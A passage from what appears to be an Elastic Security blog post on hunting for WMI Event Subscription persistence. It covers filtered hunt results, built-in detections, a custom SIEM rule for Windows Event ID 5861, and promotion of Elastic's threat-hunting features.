Figure 9 depicts the filtered results of a persistence hunt wherein the same malicious WMI Event Subscription was configured. Elastic Security enumerates persistence locations across your endpoints and enables users to apply filters to identify anomalies or suspicious artifacts for further analysis. Hunt teams will often assume that traditional passive and reactive security controls are fallible, and will proactively hunt for malicious persistence mechanisms in search for attackers operating in their environment.

Elastic Security comes with out-of-the-box detections for WMI abuse. Figure 10 shows the signal that was generated by Elastic Endpoint and shipped to Elastic SIEM when a malicious WMI Event Subscription was created.

Users have the option to view a signal in the Timeline within Elastic SIEM. Timeline enables analysts to search for similar activity across their data, gather and document evidence, and forward potential incidents to ticketing and SOAR platforms with ease. Part 2 of this series will show the workflow and features of Timeline.

As of version 7.6 of the Elastic Stack, the SIEM app comes with a detection engine, which enables security teams to create their own custom rules. For example, Windows 10 logs Event ID 5861 when a new WMI EventFilterToConsumer binding is created. Figure 12 shows how a custom rule can be created in Elastic SIEM to search the winlogbeat-* index pattern for winlog.record_id: 5861. We can configure a description, severity, and risk score for the new rule, as well as map the rule to the relevant techniques in the MITRE ATT&CK matrix. This information will help an analyst triage and determine the steps to take when the rule condition occurs.

Elastic SIEM is part of the Basic subscription and currently includes 92 detections that utilize Windows, Linux, network, and APM logging. We will continue to add new rules in new releases of the Elastic Stack.

In this section, we learned how WMI Event Subscriptions can be abused for persistence and how we can hunt for and detect this technique using the combination of Elastic Endpoint and SIEM. It’s important to note that we have only scratched the surface of how WMI works and the many ways that it can be used by attackers.

WMI can be used during every phase of an attack, such as moving laterally between endpoints, conducting local and enterprise reconnaissance, and stealing data. Elastic Security has released detections for many techniques that leverage WMI.

Conclusion

In this blog post, we examined a popular technique that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.

Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM (along with the protections provided out of the box) lower the barriers to entry for analysts, provide detailed visibility into endpoint activity, and enable organizations to prevent, detect, and respond to malicious behavior at scale.

To learn more about threat hunting, download a free copy of The Elastic Guide to Threat Hunting.

Plus, EQL support is being added to Elasticsearch!